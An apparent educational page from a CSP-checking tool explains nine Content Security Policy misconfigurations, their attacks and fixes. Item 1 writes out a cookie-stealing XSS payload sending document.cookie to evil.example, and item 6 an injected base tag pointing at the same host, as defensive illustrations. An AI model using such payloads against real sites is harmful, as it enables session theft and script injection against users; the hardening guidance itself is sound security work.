opyebCspLab

Nine CSP bypass patterns and the attacks they enable

Bypass patterns · 8 min

In one line: unsafe-inline, wildcards, data:, blob:, http:, missing base-uri, sandbox escapes and nonce-less strict-dynamic: the combinations that defeat a policy.

CSP stops script injection. One wrong value, though, and injected script runs anyway. These are the patterns that appear most often in real audits.

1. 'unsafe-inline'

Inline <script> and handlers such as onclick run. With any injection point that reflects user input into HTML, <img src=x onerror="fetch('//evil.example/?c='+document.cookie)"> steals the session.

2. 'unsafe-eval'

eval(), new Function() and string setTimeout are allowed, so an injected string can become code. Some JSONP and template libraries rely on this path.

3. Wildcards

script-src * allows every host. *.example.com is also risky: one takeover, or a subdomain that hosts user content, is enough.

4. data: and blob:

data:text/javascript,alert(1) and runtime blob: URLs execute code with no file upload. With an injection point, even a 'self'-only policy can be bypassed.

5. http: (mixed content)

A plaintext origin can be rewritten by anyone on the same network — the hotel or airport Wi-Fi scenario. Without upgrade-insecure-requests, the browser sends it in the clear.

6. Missing base-uri

Without base-uri, an injected <base href="//evil.example/"> redirects every relative request. <script src="/app.js"> then loads from the attacker.

7. Missing object-src

Without object-src, <object> and <embed> can load external content, and the legacy plugin path can lead to script execution. One line, object-src 'none', closes it.

8. Sandbox escape combination

sandbox allow-scripts allow-same-origin lets the sandboxed document run script with its own origin, which effectively removes the sandbox.

9. nonce-less strict-dynamic

There is no root of trust, so scripts are blocked entirely, or the host list is ignored and the policy behaves unexpectedly. It is a common misconfiguration that shows up as an outage.

Summary

PatternEffectInstead
'unsafe-inline'Inline scripts runnonce or hash
'unsafe-eval'String code runsreplace the parser
* / *.example.comAny host allowedexplicit hosts + nonce
data: / blob:Fileless code execution'self' + nonce
http:MITM injectionhttps: + upgrade
no base-uriRelative path hijackbase-uri 'none'
no object-srcPlugin pathobject-src 'none'
sandbox with two flagsSandbox removedkeep only one
strict-dynamic aloneAll blocked or neuteredpair with nonce

CspLab rates every one of these as its own rule and shows which request breaks and what to change.

Paste the same policy into the tool to see the score and the directives to change.

Open CspLab

Frequently asked questions

Does removing `'unsafe-inline'` break all inline styles too?

It is separate. `style-src` has its own `'unsafe-inline'`. You can move scripts to a nonce and keep styles, though styles are better moved to files or nonces too.

Is a CDN wildcard acceptable?

Not if that CDN hosts user uploads. An attacker can place a script there and bypass the policy. Confirm it only serves trusted static assets.

Does `object-src 'none'` break the PDF viewer?

The built-in PDF viewer is usually unaffected, but PDFs embedded with `` or `` may stop working. Open them in a new tab or move them under `frame-src`.

Sources

Keep reading

0 bytes of your input sent to a server (advertising and affiliate widgets excluded)